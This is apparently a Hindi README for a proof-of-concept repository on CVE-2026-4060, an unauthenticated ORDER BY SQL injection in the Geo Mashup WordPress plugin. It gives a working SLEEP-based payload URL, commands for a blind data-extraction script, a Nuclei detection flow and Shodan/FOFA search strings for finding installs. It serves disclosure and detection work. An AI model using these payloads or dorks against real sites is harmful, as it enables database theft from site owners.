CVE-2026-4060 — Geo Mashup ≤ 1.13.18 अप्रमाणित SQL इंजेक्शन PoC

अप्रमाणित हमलावर Geo Mashup के render-map एंडपॉइंट के sort पैरामीटर के माध्यम से ORDER BY क्लॉज में मनमाना SQL इंजेक्ट कर सकते हैं, जिससे संवेदनशील डेटाबेस जानकारी का टाइम-बेस्ड ब्लाइंड एक्सट्रैक्शन संभव होता है।

विषय सूची

• भेद्यता अवलोकन
• परीक्षण वातावरण
• चलाने का तरीका
• परीक्षण परिणाम
• शमन
• पहचान
• समयरेखा
• संदर्भ

भेद्यता अवलोकन

तकनीकी विवरण

render-map एंडपॉइंट द्वारा स्वीकार किया गया sort पैरामीटर बिना सैनिटाइजेशन के सीधे $wpdb->get_results() कॉल में पास किया जाता है:

// render-map.php (सरलीकृत)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

चूंकि $sort को यथावत इंटरपोलेट किया जाता है, एक हमलावर ORDER BY क्लॉज में एक सबक्वेरी इंजेक्ट कर सकता है। WordPress का wpdb सिंगल कोट्स को एस्केप करता है, इसलिए PoC इस प्रतिबंध को बायपास करने और टाइम-बेस्ड ब्लाइंड एक्सट्रैक्शन करने के लिए ORD(SUBSTRING(...)) के साथ संख्यात्मक तुलना का उपयोग करता है।

भेद्य एंडपॉइंट:

GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>

परीक्षण वातावरण

प्रयोगशाला वास्तुकला

┌─────────────────────────────────┐
│  होस्ट (localhost:8080)          │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

Geo Mashup 1.13.18 वर्डप्रेस एडमिन में सक्रिय:

चलाने का तरीका

1. प्रयोगशाला शुरू करें

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

setup.sh निम्नलिखित करेगा:

• WordPress 6.8.2 + MariaDB 11.4 कंटेनर स्पिन करेगा
• WP-CLI के माध्यम से Geo Mashup 1.13.18 (भेद्य संस्करण) इंस्टॉल और सक्रिय करेगा
• एक जियो-टैग की गई पोस्ट बनाएगा ताकि मैप एंडपॉइंट एक वैध प्रतिक्रिया लौटाए

एक बार पूरा होने पर:

• साइट: http://localhost:8080
• एडमिन: http://localhost:8080/wp-admin (उपयोगकर्ता: admin / पासवर्ड: admin)

2. भेद्यता की पुष्टि करें (SLEEP इंजेक्शन)

time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

लगभग 8 सेकंड की प्रतिक्रिया देरी ORDER BY SQL इंजेक्शन की पुष्टि करती है।

3. डेटा निकालें (PoC)

# डिफ़ॉल्ट — केवल निकाले गए परिणाम प्रिंट करें
python3 poc.py --url http://localhost:8080

# वर्बोज़ — प्रत्येक पेलोड, प्रतिक्रिया समय और निकाला गया अक्षर दिखाएं
python3 poc.py --url http://localhost:8080 --verbose

# केवल SQLi की पुष्टि करें, डेटा निकासी छोड़ें
python3 poc.py --url http://localhost:8080 --confirm-only

4. Nuclei डिटेक्शन टेम्पलेट चलाएँ

nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. प्रयोगशाला को बंद करें

docker compose down -v

परीक्षण परिणाम

सच्चा सकारात्मक (TP) — भेद्य लक्ष्य

TP-1: ORDER BY SLEEP(8) इंजेक्शन की पुष्टि

sort पैरामीटर के माध्यम से SLEEP(8) सबक्वेरी इंजेक्ट करने से लगभग 8 सेकंड की प्रतिक्रिया देरी उत्पन्न होती है।

time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

TP-2: डेटा निकासी (वर्बोज़ मोड)

PoC ORD(SUBSTRING(...)) तुलनाओं का उपयोग करके अक्षर दर अक्षर डेटा निकालता है: पेलोड भेजें → प्रतिक्रिया समय मापें → जब SLEEP फायर हो तो अक्षर की पुष्टि करें।

python3 poc.py --url http://localhost:8080 --verbose

निकाला गया डेटा:

TP-3: Nuclei टेम्पलेट डिटेक्शन

[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

Scan completed in 8.07s. 1 matches found.

गलत सकारात्मक (FP) — गैर-भेद्य लक्ष्य

Nuclei टेम्पलेट गलत सकारात्मक को रोकने के लिए दो-चरणीय प्रवाह का उपयोग करता है।

FP-1: Geo Mashup स्थापित नहीं है

यदि चरण 1 में readme.txt 404 लौटाता है, तो स्कैन SQL पेलोड भेजे बिना तुरंत बाहर निकल जाता है।

Scan completed in 62ms. 0 matches found.   ✅

FP-2: पैच किया गया संस्करण (≥ 1.13.19)

readme.txt के माध्यम से प्लगइन संस्करण जांच:

यदि compare_versions(version, '<= 1.13.18') विफल होता है, तो चरण 2 पूरी तरह से छोड़ दिया जाता है।

Scan completed in 19ms. 0 matches found.   ✅

शमन

पैच कमिट: plugins.trac.wordpress.org/changeset/3503627

पहचान

Nuclei टेम्पलेट: nuclei/CVE-2026-4060.yaml

पहचान प्रवाह:

Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
        → confirm plugin exists + version <= 1.13.18

Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → status 200 + GeoMashup.createMap + duration >= 8s

Shodan / FOFA:

Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

समयरेखा

संदर्भ

• NVD — CVE-2026-4060
• Wordfence सलाहकार
• प्लगइन परिवर्तन सेट (सुधार)
• CWE-89

अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।
उन प्रणालियों के खिलाफ उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
लेखक इस सामग्री के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।